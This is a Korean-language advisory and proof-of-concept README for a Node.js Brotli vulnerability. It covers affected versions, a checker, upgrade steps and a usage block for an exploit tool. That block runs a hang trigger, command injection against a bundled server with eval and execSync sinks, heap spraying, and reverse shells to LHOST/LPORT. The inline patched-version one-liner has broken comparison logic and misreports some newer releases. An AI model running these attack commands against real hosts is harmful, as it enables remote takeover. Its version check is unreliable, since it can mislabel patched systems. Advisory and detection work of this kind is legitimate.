
CVE-2026-111497(Node2Shell)에 대한 권고 및 개념 증명 툴킷으로, Node.js의 Brotli 힙 오버플로우 취약점을 다루며 트리거 스크립트, 버전 검사기, 그리고 완화 지침을 포함합니다.
Node2Shell
CVE-2026-111497에 대한 종합 보안 권고, 기술 분석 및 해결 가이드
2026년 10월에 공개된 Node2Shell(CVE-2026-111497)은 Node.js 런타임 바이너리 내부에 직접 포함된 네이티브 Brotli 압축 해제 구성 요소에 영향을 미치는 심각한 보안 취약점입니다.
이 결함을 통해 원격 공격자는 압축된 입력을 처리하는 모든 Node.js 애플리케이션(예: HTTP 요청 본문 파서, 네이티브 fetch() 호출 또는 WebSocket 스트림)에 특수하게 조작된 잘못된 형식의 Brotli 압축 바이트 스트림을 전송하여 임의 코드를 실행하거나 애플리케이션을 충돌시킬 수 있습니다.
⚠️ 중요 사항: 취약한 코드가 Node.js 실행 파일 자체에 컴파일된
deps/brotli내에 존재하기 때문에, 사용자 공간의npm의존성을 업데이트하는 것만으로는 이 취약점이 완화되지 않습니다. Node.js 바이너리 런타임을 업데이트해야 합니다.
deps/brotli).Content-Encoding: br)가 구성된 프레임워크 및 미들웨어(예: Express, Fastify).fetch().zlib.createBrotliDecompress()를 사용하는 사용자 정의 Node.js 스트림.| Node.js 릴리스 라인 | 상태 | 수정 버전 | 필요한 조치 |
|---|---|---|---|
| Node.js 26.x | ⚠️ 취약 | >= 26.12.1 | 즉시 업그레이드 |
| Node.js 24.x | ⚠️ 취약 | >= 24.22.1 | 즉시 업그레이드 |
| Node.js 22.x (LTS) | ⚠️ 취약 | >= 22.23.4 | 즉시 업그레이드 |
| Node.js 20.x 및 이전 버전 | ❌ EOL | 없음 | 지원되는 LTS로 즉시 마이그레이션 |
🚨 EOL 경고: Node.js 20은 2026년 4월에 수명 종료(EOL)에 도달했습니다. EOL 버전에는 공식 보안 백포트가 제공되지 않습니다.
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.1
Brotli constant present : yes (-17) → patched decoder
───────────────────────────────────────────────────────
Verdict: PATCHED
You are running a fixed release of the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
$ node node2shell-check.js
=== Node2Shell (CVE-2026-111497) Safe Checker ===
Local version + constant probe only. No network, no payloads.
Current Node.js version : v24.22.0
Brotli constant present : no / missing → likely vulnerable decoder
───────────────────────────────────────────────────────
Verdict: VULNERABLE
Upgrade to Node.js 24.22.1 or later in the 24.x line.
Additional notes:
• The constant check is the most reliable signal when Node.js ships
its own (statically linked) Brotli. On some Linux distros Node may
use the system libbrotli – then you must also check the system package.
• Updating npm packages alone does NOT fix this issue.
• After upgrading, restart every Node.js process / container.
• Official fixed versions: 22.23.4 · 24.22.1 · 26.12.1
Current Node.js version : v20.18.0
Brotli constant present : no / missing → likely vulnerable decoder
Verdict: VULNERABLE (EOL / UNSUPPORTED)
This release line is end-of-life or never received the security fix.
Migrate to a supported LTS line (22.x, 24.x or 26.x) and use a patched version.
다음 한 줄 명령을 실행할 수도 있습니다:
node -p "require('zlib').constants.BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH ?? 'missing'"
-17 반환 → 패치됨missing 반환 → 취약함이는 스크립트가 사용하는 것과 동일한 검사입니다.
# Python dependencies
pip install requests brotli
# Node server (webhook injection + eval paths)
npm install
node server-stock.js # port 3000
# Real CVE trigger — hang a Node.js HTTP server (Content-Encoding: br)
python3 Node2Shell.py -u http://TARGET:3000 --hang --path /api/data --timeout 10
# Webhook injection — command injection via execSync(hook) (stock server)
python3 Node2Shell.py -u http://TARGET:3000 --webhook --validate
python3 Node2Shell.py -u http://TARGET:3000 --webhook --cmd "id"
python3 Node2Shell.py -u http://TARGET:3000 --webhook --revshell LHOST LPORT
# OOB write stream — 13-byte COMMAND_BEGIN trigger + spray via streaming brotli
python Node2Shell.py -u http://TARGET:3000 --oob --path /api/data
# Direct eval mode (server with /api/exec eval sink)
python Node2Shell.py -u http://TARGET --validate
python Node2Shell.py -u http://TARGET --cmd "id"
python Node2Shell.py -u http://TARGET --revshell LHOST LPORT
시스템 또는 실행 중인 컨테이너가 취약한 버전의 Node.js를 실행하고 있는지 확인하려면 다음 명령을 실행하세요:
# Check installed local runtime version
node -v
# Audit running containers across a Kubernetes cluster / Docker environment
docker ps --format '{{.Names}}: {{.Image}}'
또는 Linux 환경에서 다음 한 줄 명령을 사용하여 현재 활성화된 Node 런타임이 안전한지 테스트할 수 있습니다:
node -e '
const v = process.versions.node.split(".").map(Number);
const safe = (v[0] === 22 && v[1] >= 23 && v[2] >= 4) ||
(v[0] === 24 && v[1] >= 22 && v[2] >= 1) ||
(v[0] >= 26 && v[1] >= 12 && v[2] >= 1);
console.log(safe ? "✅ Runtime is PATCHED" : "❌ Runtime is VULNERABLE");
'
nvm install 22.23.4
nvm alias default 22.23.4
nvm use 22.23.4
sudo apt-get update
sudo apt-get install --only-upgrade nodejs
Dockerfile을 업데이트하여 명시적으로 패치된 베이스 이미지 태그를 가져오도록 하세요:
# ❌ VULNERABLE
FROM node:22-alpine
# ✅ PATCHED
FROM node:22.23.4-alpine
로컬 컨테이너 빌드 캐시를 지워 취약한 베이스 레이어가 캐시로 사용되는 것을 방지하세요:
docker pull node:22.23.4-alpine
docker build --no-cache -t my-app:latest .
즉각적인 런타임 업그레이드를 수행할 수 없는 경우: